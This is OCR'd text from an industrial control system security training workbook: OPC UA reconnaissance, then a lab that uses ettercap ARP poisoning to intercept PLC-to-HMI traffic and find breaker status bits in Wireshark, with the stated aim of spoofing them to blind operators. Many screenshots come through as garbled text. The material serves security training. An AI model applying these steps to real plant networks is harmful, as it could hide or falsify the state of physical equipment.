command can be extremely beneficial for a reconnaissance activity. When the information from the OPC UA server is compared
to other documentation exfiltrated from the environment, an attacker orientates themselves within the environment to evaluate
their next steps. Details of the OPC US library and how to use it can be found at https://github.com/FreeOpcUa/python-opcua.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 205



Task 3 -- Identify Sensitive Information

1. Within the output, identify sensitive information that would be useful to an attacker.

root@kali: ~/Desktop/Lab 2.8

File Edit View 5Search Terminal Help

Pod4 Clickl: No Value
_System: No Value

_AutoCreateTagDatabase: False
_AutoDemoted: False
_AutoDemotionDiscardWrites: False
_AutoDemotionEnabled: False
_AutoDemotionFailureCount: 3
_AutoDemotionIntervalMS: 10000
_ConnectTimeout: 3
_DemandPoll: False
_Description:
_Deviceld: <172.16.4.12>.0
_Enabled: True
_Error: False
_InterRequestDelay: ©
_NoError: True
_RequestAttempts: 3
_RequestTimeout: 1000
_ScanMode: UseClientRate
_ScanRateMs: 1000
_Simulated: False

Many pieces of valuable information are visible within this output. Some clear items include.
* The manufacturer, version, build number and build date of the software.
* The host name of the server which might be useful.

* The domain name of the ICS might be interesting especially if this server is behind a firewall and domain is not shared
with corporate network.

* The 'Topics', 'ProjectName and/or 'ProjectTitle' might represent something interesting about the environment. Topics are
a mapping between a PLC and the IP Address of the PLC

* The exposed network adapter model might be interesting as to the type of hardware the server is operating from. A"
VMXNET' adapter name would have indicated a VMWare cluster. Many organizations share their virtual infrastructure
between IT and OT or even DMZ networks.

« Without even knowledge of the system, Tag Names and their Values are exposed which might provide some insight as to
what the function the PLCs are providing and potentially the state of the physical equipment.

Also, it is known that the OPC UA server is at IP address 172.20.1.21. The output also contains other IP addresses and,
assumingly, subnets from internal systems (i.e, 172.16.4.12). It is also known that an OPC UA server is a gateway to move
data between PLCs over industrial protocols and other connected OPC UA clients. With this insight, an attacker might deduce
that that OPC UA server is communicating to multiple PLC's, as well as, able to start mapping the potential internal ICS
subnets not exposed to the OPC UA clients.
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As a take-away, all of this information was collected by using a non-malicious tool and an exposed service. No exploitations

were required. OPC UA servers are close and sometimes service data across ICS perimeters making them prime targets for
reconnaissance.

1. Why would an attacker target the OPC UA server initially?

2. What sensitive information can an attacker gain from the OPC UA server?

3. What are some ways to detect/prevent this type of attack?

Exercise Takeaways

An attacker does not need to understand the process to disrupt it, but an attacker needs to understand the process if they want to
control the process.

Performing attacks directly on local ICS devices or at the network level, may not align with an attacker's objective. The attacker
may need to first, fully understand the operations environment, and verify the configuration to ensure a desired effect. An attacker

may wish to also gain information from the process to steal the intellectual property or possibly leverage native communications
protocols to maintain persistence.

Using attacks on an ICS protocol, an adversary can gather sensitive data - IP Addresses, device specific information, tags, tag
values, user information, process state, and additional data.
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Lab 2.9 -- Local Network MiTM Attack

Background
Total Lab Time: 15 minutes
Tools Used:

« Kali Linux is an open-source penetrating testing platform/distro that is maintained and funded by Offensive Security.

« Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of connections, content filtering on the fly
and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for
network and host analysis.

+ Wireshark is the world's foremost and widely-used network protocol analyzer. It lets you see what's happening on your
network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit
enterprises, government agencies, and educational institutions.

Objectives

The Pod's CompactLogix PLC communicates the status of the breakers to the PanelView HMI. The Pod's PLC and HMI
communicate via EtherNet/IP or Common Industrial Protocol (CIP™) and using Wireshark, we will collect and investigate these
communications. Specifically in this lab, we are going to use Wireshark to investigate the EtherNet/IP payload and find where the
PLC communicates the breaker status to the HMI. In order to capture the network traffic between the PLC and the HMI, we are
going to use Ettercap to conduct a MiTM spoofing attack to get access to the PLC to HMI communications. We will ultimately find
the bits in the EtherNet/IP traffic that represent the breaker status and we will change the value as it passes on the network
between the PLC and the HMI using a tailored Ettercap filter.

We will:

+ Intercept network traffic between HMI and PLC
+ Modify values in transit

« Blind the operator to the actual condition of the breakers
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Task 1 -- Monitor Network Traffic

Warning

If sharing the Pod with another student, you must work together to avoid conflict and successfully complete this lab.
Alternatively, each of you may complete the lab individually but extra time was not allocated for the lab to be completed in
this way. An additional run through the lab is welcome to be perfromed during a break or at a time arranged with the

instructor.

1. Clean up the Pod communications
a. Power off the Pod HMI and the Pod PLC by cycling the breakers "Off" on the back of the Pod.
b. Wait approximately 5-10 seconds for capacitors to drain.

c. Cycle the breakers back to "On" to power up the Pod HMI and Pod PLC.

Note

Do not touch the HMI display, not to even acknowledge the alarm conditions. Leave the HMI display on the main screen
and DO NOT change to another screen for the remainder of the lab to increase the likelihood that the offset values will

match the workbook.

2. Open the Kali Linux VM.

3. Open the Desktop folder. Click " Files " icon from the menu on the left. Click pesktop from menu directory list within Files.

[ Documents
® Downloads

- I3 Music

4. Copy the Lab 2.9 folder from the student ISO to the Kali Linux VM by dragging the "Lab 2.9" folder from the student ISO into
the Desktop folder within Kali. If having difficulty copying files, ask the instructor for assistance.

5. Open a Terminal window.

6. Run the following command to manually set your Kali VM IP Address.

ifconfig ethe 172.16.AA.B/24
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Where:

AA = Pod#=1-15
B = Student 1 = 13 and Student 2 = 23

Example

Pod 1/ Student 1 = ifconfig ethe 172.16.1.13/24
Pod 12 / Student 2 = ifconfig ethe 172.16.12.23/24

7. Run the following command in the terminal to run Wireshark in the background so the terminal can still be used for other
commands.

wireshark &

root @kali: ~/Desktop
File Edit View Search Terminal Help

:~/D # wireshark § |

8. Select the appropriate interface to start monitoring traffic. Double-click on " ethe " to begin monitoring traffic.

The Wireshark Network Analyzer
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al I® B RC QA e« .2

(W |Apply a display filter ... <Ctrl-/> [ ] -]

@ @ @ IF

Welcome to Wireshark

Capture

..using this filter: [ | Enter a capture filter ... '] | Allinterfaces shown ~

. eho ./

Loopback: lo —
any 7
nflog _
nfqueue _
bluetooth0 (I
@ Cisco remote capture: ciscodump _
@ Random packet generator: randpkt
@ SSH remote capture: sshdump _
@ UDP Listener remote capture: udpdump __
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Note

You may see a window requesting permission for Wireshark to monitor the interface if you are not using the Kali Linux
VM. If so, enter your username and password for the account on your computer.

The initial traffic that will show in Wireshark will mostly be broadcast or multicast traffic (e.g., ARP, MDNS) unless a browser,
email client, etc. is open on the computer. However, any CIP traffic between the HMI and PLC will not be seen even though the
computer is on the same physical network switch.

9. Confirm CIP traffic is not being captured by entering cip into the "Display Filter" bar.

10. Press the Enter key.

*ethO
File Edit View Go Capture Analyze 5Statistics Telephony Wireless Tools Help

mad® o X[C Q « » Jes_|= & q @ FF

\w|cip

No. Time Source Destination Protocol Length

11. Leave Wireshark running with the display filter in place.

Task 2 -- Intercept Network Traffic

1. Open another Terminal window and enter the following case sensitive command in the terminal to run Ettercap's Graphical
Interface.

ettercap -G

2. Press the Enter key.

r

root@kali: ~/Desktop o

File Edit View Search Terminal Help
:~/Desktop# ettercap -G

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

ettercap 0.8.2

File Sniff Options Info
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3 Configure to use only one network interface
a. Click on " sniff " from the top menu bar.

b. Click on " unified sniffing"in the dropdown menu.

ettercap 0.8.2
File Sniff Options Info

Ctrl+B

Bridged sniffing...

Set pcap filter... Ctrl+P

C 4

4. Select the appropriate network interface

‘W a

a. Select " ethe " within the "Ettercap Input" pop up.

b. Click on the " ok " button.

ettercap Input

Network interface : [etho

I Cancel H

5. Scan for hosts to identify other hosts on the network.
a. Click on " Hosts " from the top menu bar.

b. Click on " scan for hosts " from the dropdown menu.
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ettercap 0.8.2 @ 00

Start Targets Hosts View Mitm Filters Logging Plugins Info
Hosts list Ctrl+H

Enable IPv6 scan

Scan for hosts Ctrl+S

Load from file... g

/ Save tofile... K;

— S

20388 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing... I

After the scan for hosts is complete, you will see a list of IP Addresses in the "Host List" tab. For this lab you must have
172.16.[xx].2 and 172.16.[xx].3 where [xx] is your Pod number as these are your Pod's PLC and HMI.
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ettercap 0.8.2 e ® O
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x

'IP Address MAC Address |Description -

172.16.1.2 5C:88:16:B3:74:28B | I
% 172.16.1.3 5C:88:16:E6:CF:FCJ

172.16.1.4 :5C:88:16:BA:F5:49

Delete Host H - Add to Target1 J[ Add to Target 2 J
EUWETCAp MIgnunot work Correctty. /proc/sys/neyipvo/coniyewnu/use_LEmpdadr 1S notsewL o v, A
Privileges dropped to EUID 65534 EGID 65534...

33 plugins

42 protocol dissectors

57 ports monitored

20388 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
6 hosts added to the hosts list...

Note

An attacker would likely not perform a scan as it may raise alerts from security monitoring tools.

6. If there are no IP Addresses listed on the Host List tab after a short period, contact out the instructor. If you see the IP Address
172.16.[xx].2 and 172.16.[xx].3 where [xx] is your Pod number then continue.

7. Next, we will select the hosts that will be the victims of the MiTM attack.
a. Click on " Hosts " from the top menu bar.

b. Click on " Hosts list " from the dropdown menu.

8. To intercept the traffic between two communicating hosts, we must select each of those hosts as different targets. Select the
first target. Select by highlighting the Pod HMI and click on " Add to Target 1" button.
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172.16.AA.3
Where BA. = Podf = 1-15
Examples:

Podl = 172.16.1.3
Podl2 = 172.16.12.3

ettercap 0.8.2

Start Targets Hosts View Mitm Filters Logging Plugins
Host List x
IP Address MAC Address Description

172.16.1.2 - 5C:88:16:B3:74:2B
216 3 5886 EGEEEC

172.16.1.4 5C:88:16:BA:F5:49
172.16.1.6 - 8C:AE:4C:E9:66:55

Info

@

; I Delete Host Addto Target1l

Add to Target 2

DHCP: [08:61:95:A0:CC:40] DISCOVER
DHCP: [08:61:95:A0:CC:40] DISCOVER
DHCP: [08:61:95:A0:CC:40] DISCOVER
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list...

DHCP: [08:61:95:A0:CC:40] DISCOVER

9. Select by highlighting the Pod PLC and click on " Add to Target 2" button.
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172.16.AA.2

Where AA

Examples:
Podl

17216172

Pod# = 1-15

Podl2 = 172.16.12.2

Host List x |

172.16.1.2 5C:88:16:B3:74:28
172.16.1.3 5C:88:16:E6:CF:FC
172.16.1.4 5C:88:16:BA:F5:49
172.16.1.6 : 8C:AE:4C:E9:66:55

Start Targets Hosts View Mitm Filters Logging Plugins Info

[ Delete Host H

Addto Target1

|" Add to Target 2 II

= =]

DHCP: [08:61:95:A0:CC:40] DISCOVER
DHCP: [08:61:95:A0:CC:40] DISCOVER
DHCP: [08:61:95:A0:CC:40] DISCOVER
Randomizing 255 hosts for scanning...

Scannina the whole netmask for 255 hosts...

10. Verify both targets are displayed at the bottom of the information window.

A

Host List x |

IP Address MAC Address
172.16.1.2 :5C:88:16:B3:74:2B

172.16.1.3 5C:88:16:E6:CF:FC
172.16.1.4 5C:88:16:BA:F5:49
172.16.1.6 - 8C:AE:4C:E9:66:55

Description

l Delete Host H

Addto Target1

H Add to Target 2

DHCP: [08:61:95:A0:CC:40] DISCOVER
. . . . . . VER

Host172.16.1.3 added to TARGET1

Host 172.16.1.2 added to TARGET2

11. Start the MiTM attack using ARP poisoning.

a. Click on " mitm " from the top menu bar.

b. Click on " ARP poisoning " from the dropdown menu.
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ettercap 0.8.2 e ® 0
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x

IP Address MAC Address | CMPredirect. [
17216.1.2 5C:88:16:83:74:2 Fortstealing...
172.16.1.4 5C:88:16:BA:F5:2 \DP poisoning..

172.16.1.6 8C:AE:4C:E9:66: Stop mitm attack(s)

[ Delete Host " Add to Target1 “ Add to Target 2 ]

DHUP: [U8:61:95:A0:CL:40] DISCOVER
DHCP: [08:61:95:A0:CC:40] DISCOVER

DHCP: [08:61:95:A0:CC:40] DISCOVER

DHCP: [08:61:95:A0:CC:40] DISCOVER

DHCP: [08:61:95:A0:CC:40] DISCOVER

Host172.16.1.3 added to TARGET1

Host172.16.1.2 added to TARGET2

12. Enable sniffing of the traffic between the HMI and the PLC.

a. Check the box next to " sniff remote connections " from the "MITM Attack: ARP Poisoning" window.

b. Click the " ok " button.

MITM Attack: ARP Poisoning @

9 Optional parameters
&

[7] Only poison one-way.

[ Cancel ]r OK ]

Using ARP Poisoning, Ettercap has spoofed the MAC addresses of the targets and inserted Kali Linux into the middle of the

conversation between the HMI and the PLC. Additionally, Wireshark should now be capturing the CIP traffic between the HMI
and the PLC.

13. Confirm Wireshark is now capturing CIP traffic.
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Task 3 -- Identify Values to Spoof

1. You will now capture the breaker status changes with the Wireshark network traffic capture running.

a. Using the physical Red and Green pushbuttons on the Pod, Open and Close the breakers a few times. If possible,
remember the sequence of buttons you pushed. You can push the left button, then the right button or you can push both
at the same time. Remembering what you did will help you as you search through the Wireshark capture.

b. Stop the Wireshark packet capture by pushing the " Red " stop icon.

Note

Keeping the number of packets to a minimum amount will make the next steps of digging through the Wireshark captures
easier. To keep the packet capture size to a minimum, start the Wireshark capture, press the Green and Red pushbuttons a
few times then stop the Wireshark capture. Typically, this activity should take about 15-30 seconds.

2. Save the packet capture to the Desktop. Do this by selecting the from the File menu then select Save As. You can select the
pcap format by using the " save as: " selector.

r

Wireshark - Save Capture File As (]
Look in: 1 /root/Desktop v« > 4 W I =
B computer Name v Size Type Date Mc
Bl root M Lab2.7 Folder 2[3/227
M Lab2.8 Folder 9/7/191
M Lab2.9 Folder 2/25/22
M Lab3.6 Folder 9/7/191
M Lab 3.7 Folder 9/7/191
M Lab 4.1 Folder 2/5/22¢
4 »
0;
Fﬂegame:“ I
® Cancel
Save as: Wireshark/tcpdump/... - pcap v , BHelp
Compress with gzip

3. Making sure the .pcap you just saved is open, you will add a custom filter into the Filter toolbar to display only traffic coming
from your Pod's CompactLogix PLC and a filter on the Common Industrial Protocol (CIP) service code 0x4c which is a
successful read of a CIP packet.

Enter the following Wireshark filter into the Filter toolbar:

ip.src==172.16.AA.2 && cip.sc==0x4c
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Where:

AA = Pod#=1-15

Example

Pod 1 = ip.src==172.16.1.2 && cip.sc==0x4c
Pod 12 = ip.src==172.16.12.2 && cip.sc==0x4c

Also note, there is a space before and after the and "&&" filter syntax.

Note

We are entering an IP Address source and specific CIP protocol service code filter for the Pod's PLC into our Wireshark
filter so we can limit our packet investigation to only the traffic being sent from the CompactLogix PLC to the Pod HMI.

4. Press the Enter key.

- 5
ethO breaker capture.pcapng e ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 a E R ) = =
[ [ip.src==172.16.1.2 && cip.sc==0x4c -] Expression..  +
0. Time Source Destnation Protocol  Lengen 1o =
I .813019103 167102 5 ) 201 Success: Service (0x4c)
15 1.814551893 172.16.1.2 172:16.1.3 CIP 201 Success: Service (0x4c)
24 2.819493117 172.16.1.2 172.16.1.3 CIP 201 Success: Service (0x4c)
38 3.821778440 172.16.1.2 172.16.1.3 cIP 201 Success: Service (0x4c)
44 4.819303229 172.16.1.2 172516153 CIP 201 Success: Service (0x4c)
50 5.822002776 172.16.1.2 172.16.1.3 CIP 201 Success: Service (0x4c)
55 6.824428453 172.16.1:2 17251613 CIP 201 Success: Service (0x4c)
] 64 7.842077554 172.16.1.2 s 7 i o CTP 201 Success: Class (0xb2) - Service {nxdt‘; R

5. Sort the CIP traffic by the "Info" column to make it easier to identify the appropriate network packets. Click on the "Info"
column header to sort by name. This should sort any "Class (0xb2) - Service (0x4c)" packets that were capture to the top of
Packet List Pane
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ethO breaker capture.pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @ BIRE QA «» 1=

Q @ @ IF

[IIip.src==172.16.1.2&&cip.sc==0x4c '] Expression.. +
Destination Protocol Lengtf{ Info i
.3 201 Success: Class (0xb2) - Service (©x4c)
1727162153 CIP 201 Success: Class (0xb2) - Service (0x4c)
17216518 CIP 201 Success: Service (0x4c)
172161753 cIP 201 Success: Service (0x4c)
172.16.1.3 cIP 201 Success: Service (0x4c)
1721613 CIP 201 Success: Service (0x4c)
172516:.1:3 CIP 201 Success: Service (0x4c)
. 172 48 1 2 rTD 201 Cuerace: Qarvica [(AvAc) ’____'
Frame 64: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©

13

» Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)

» Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3

» Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147
EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: ©x80008353

» Common Industrial Protocol

~ CIP Class
~ Command
Data:

00e0 00 oc
0010 00 bb
0020 01 03

Generic
Specific Data

01 4

29 e® 09 e3 5c 88
Ob 28 40 00 40 06
af 12 c0 48 cd fe

0050616431

16 b3 74 2b 08

(P1010101010 1010 [0}

00 45 6¢

0030
0040
0050
0060
0070
0080
0090
00ao
00bo
00co

© 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

6. We want to be able to use the computer keyboard's up and down arrow keys to scroll through the packets with the goal to see

which bits are changing when we opened and closed the breakers with the physical breaker pushbuttons.

Note

and close pushbuttons found on the front of the Pod.

Do not use the PanelView HMI pushbuttons to open and close the breakers. Use the physical Red and Green breaker open

To begin, highlight the EtherNet/IP (Industrial Protocol) protocol in the Packet Detail Pane of the Wireshark capture. This is

found in the middle frame of the capture
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ethO breaker capture.pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al @ 5[ XG Q «» s = @ a Q@ ¥
[ [ip.src==172.16.1.2 && cip.sc==0x4c | -] Expression.. +
Destination Protocol Length Info E
172016.1.3 CIP 201 Success: Class (0xb2) - Service (0x4c)
17251671%3 CcIP 201 Success: Class (0xb2) - Service (0x4c)
172.16.1.3 cIP 201 Success: Service (0x4c)
172:16:1.3 CcIP 201 Success: Service (0x4c)
172:16.1°3 cIP 201 Success: Service (0x4c)
1725160103 cIP 201 Success: Service (0x4c)
172.16.1.3 CIP 201 Success: Service (0x4c)
L B Lo TG -0 B ~TD 201 Querracce:* Qarwvica (AvAc) o 1%
PACKET DETAIL PANE
e e P d Protoco B 0 X0 7/000 end D 0 e 0 D OxX80008
L FTrULUCUL
~ CIP Class Generic
~ Command Specific Data
Data: 010 40 50676431 000 00000000...
0000 00 Oc 29 eO 09 e3 5c 88 16 b3 74 2b 08 00 45 6C
0010 00 bb Ob 28 40 00 40 06 d4 83 ac 10 01 02 ac 10
0020
0030
0040
0050
0060
0070
0080
0090
00ao
00bo
00co
© 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

7. Next highlight a packet in the Packet List Pane of the Wireshark capture. You should now be able to use your keyboard's up

and down arrow keys to switch between packets.
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ethO breaker capture.pcapng @ ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN i@ BTREG Q « » 0w

172:16: 153
MEC T Lo B e (e

CIP
~TD

201 Success:

201 Querracce

Service (0x4c)

Qarvica [QAvAr)

(W [ip.src==172.16.1.2 && cip.sc==0x4c -] Expression.. +
= ‘ I VA
6 P © e Oxb e e Ox4
PACKET LIST PANE
.......... — —_ —————
172:16:1:3 CIP 201 Success: Service (0x4c)

» Frame 64: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©
» Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
» Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3
» Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147

EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: 0x80008353
» Common Industrial Protocol
~ CIP Class Generic

~ Command Specific Data

Data: 01 4 5066431

0000 00 Oc 29 eO 09 e3 5c 88 16 b3 74 2b 08 00 45 6¢C
0010 00 bb b 28 40 00 40 06 d4 83 ac 10 01 02 ac 10
0020
0030
0040
0050
0060
0070
0080
0090
00ae
00bo
00co

© 7  EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

8. You will see the EtherNet/IP payload will start with "70" as byte offset "zero".
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ethO breaker capture.pcapng @ ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am i@ B RE Q « » 0« s

(R [ip.src==172.16.1.2 && cip.sc==0x4c -] Expression..  +
Destination Protocol Length Info ‘ E
(72yI6T1Es CIP 201 Success: Class (0xb2) - Service (©x4c) ’
172.16.1.3 cIP 201 Success: Class (0xb2) - Service (0x4c) |
1725160453 cIP 201 Success: Service (0x4c)
172.16.1.3 cIP 201 Success: Service (0x4c)
172.165153 cIP 201 Success: Service (0x4c)
172.16:1.3 cIP 201 Success: Service (0x4c)
1725165153 CIP 201 Success: Service (0x4c)
179 46 4 -9 ~TD 201 Querracc: Qarvica [(AvAc) ';4444'

Frame 64: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©
Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:€0:09:e3)
Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3
Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147
EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: ©x80008353
Common Industrial Protocol
CIP Class Generic
~ Command Specific Data

Data: 01000004000000506f6431

0000 00 Oc 29 eO 09 e3 5c 88 16 b3 74 2b 08 00 45 6¢C
0010 00 bb ©Ob 28 40 00 40 06 d4 83 ac 10 01 02 ac 10
0020 01 03 af 12 c0 48 cd fe 2d 2e 01 c3 ad fe 50 18
0030 e

0040
0050
0060
0070
0080
0090
00ad
00bo
00co

v v v v

-

4

O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

9. Making sure you have sorted clicked on the " Info " column, find packets that have "Success: Class (0xb2) - Service (0x4c)"
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

‘.Lﬁ‘f@)‘ﬁ‘@O\q-»_‘]h.”%:

1.3 201 Success: Class (0xb2) - Service (0x4c)
R CIP 201 Success: Class (0xb2) - Service (0x4c)
o TIir ZOUT SUCCESS, Service (oxac)
ed1.3 cIP 201 Success: Service (0x4c)
172.16.1.3 CcIP 201 Success: Service (0x4c)
1723160189 CIP 201 Success: Service (0x4c)
172.16.1.3 CIP 201 Success: Service (0x4c)
1472 16 1 2 rTD 201 Querracce: Qarviica [(QAvAc) L -

Frame 64: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©

Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3

Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147

» Common Industrial Protocol
~ CIP Class Generic
~ Command Specific Data
Data: 01 4 50616431

0006 00 Oc 29 ed 09 e3 5¢c 88 16 b3 74 2b 08 00 45 6¢C
)10 00 bb 6b 28 40 00 40 06 d4 83 ac 10 01 02 ac 10

O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: 0x80008353

ethO breaker capture.pcapng @ @ 0O

-

The "Success: Class (0xb2) - Service (0x4c)" packets are the PLC's response to the HMI's polling requests, which can be

confirmed by noting the "Source" is the PLC's IP address and the "Destination” is the HMI's IP address.

10. Viewing the contents of the packet data, you are searching for the two breaker status values that change values from either

00to 01 or 01 to 00. Let's dig into how to find those values.

a. Making sure you have highlighted EtherNet/IP first in the Packet Detail Frame of the Wireshark capture first and then a
packet in the Packet List Frame, you should be able to use your keyboard's up and down arrow keys to scroll through all

the CIP source code (0x4c) captures.

b. You will be looking for any bit pattern that has changed from "00" to "01" or the pattern of "01" to "00". This will represent

the breaker status changing from "On" to "Off" or "Off to "On".

Note

you need to be successful.

This can be quite challenging so being patient can be your best approach as you work through the capture. Also note, you
may want to reset your Pod by turning the power off and restarting the lab if you feel that you have not captured the data

In the following two captures, we see two values changing from "01" to "00".
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ethO breaker capture.pcapng @ ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

7 -— e N —

AR @ O RE Q « » .21 s @ @ @ IF
[Ilip.src==172.16.1.2&&cip.sc==0x4c d '] Expression.. +

Destination Protocol Length Info =

6 P O e © e e Ox4

17251671723 cIpP 201 Success: Class (0xb2) - Service (0x4c)

17216513 cIP 201 Success: Service (0x4c)

4722165123 cIp 201 Success: Service (0x4c)

725165153 cIP 201 Success: Service (0x4c)

172.16.1.3 CIP 201 Success: Service (0x4c)

472:16:153 cIpP 201 Success: Service (0x4c)

Ll Lo W0 | - 30 WL r~TD 201 Quecacc* Qarvica [(AvAr) —

Frame 64: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©
Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3
Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147
EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: 0x80008353
» Common Industrial Protocol
~ CIP Class Generic
~ Command Specific Data

Data: 01 4 5066431

0000 00 Oc 29 ed 09 e3 5¢c 88 16 b3 74 2b 08 00 45 6¢
0010 00 bb 6b 28 40 00 40 06 d4 83 ac 10 01 02 ac 10
0020 01 03 af 12 c0 48 cd fe 2d 2e 01 c3 ad fe 50 18
0030
0040
0050
0060
0070
0080
0090
00ao
00bo
00co

© 7  EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default
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ethO breaker capture.pcapng @ ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

@ = K2 =
Ami@® © RE QA « » 0« >
[I|ip,src==172.16.1.2&&cip.sc==0x4c '] Expression.. +

Protocol Length Info ) - ] ) )
cIP 201 Success: Class (0xb2) - Service (0x4c)

201 Success: Class (0xb2) - Service (0x4c)
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)
~TD 201 Querracc: Qarvica [(AvAc) —

Frame 175: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©
Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3
Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 3565, Ack: 1603, Len: 147
EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: Ox80008353
» Common Industrial Protocol
~ CIP Class Generic
~ Command Specific Data
Data: 01 4 50676431000 000...

0006 00 Oc 29 ed 09 e3 5c 88 16 b3 74 2b 08 00 45 6¢C
0010 ©0 bb 2c 28 40 00 40 06 b3 83 ac 10 01 02 ac 10

0030
0040
0050
0060
0070
0080
0090
00a0
00bo
00co

O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

These two bits seem to be our breaker status bits so we can do some additional verification that we have found the correct
breaker status bits by looking through other packets. We will look at the location we found the bits in our previous captures.
We will be looking for any bit pattern that has changed from "00" to "01" or the pattern of "01" to "00". This will represent the

breaker status changing from "On" to "Off" or "Off to "On".

When we look through other packet captures like the two examples below, we see that these PLC breaker status bits can be
found in packets that only contain the "Service (Ox4c)" CIP service code ". These packets confirmed the bits we suspected are

indeed the breaker status bits.
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ethO breaker capture.pcapng e ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN I@© D[ REG Q « » 3« =

[I|ip.src==172.16.1.2&&cip.sc==0x4c '] Expression.. +
~ Protocol Length Inffo e =
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)
CIP 201 Success: Service (0x4c)

201 [TCP ACKed unseen segment] | Success: Service (0x4c)

» Frame 108: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©

» Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
» Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3

» Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 2328, Ack: 1051, Len: 147

EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: ©x80008353 |
» Common Industrial Protocol

~ CIP Class Generic

~ Command Specific Data
Data: 01000004000000506T64310000000000000000000000OMAN..,
00 Oc 29 e® 09 e3 5¢c 88 16 b3 74 2b 08 00 45 6¢C

00 bb 1a 28 40 00 40 06 c5 83 ac 10 01 02 ac 10
01 03 af 12 c0 48 cd fe 30 dd 01 c3 af ba 50 18

O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default
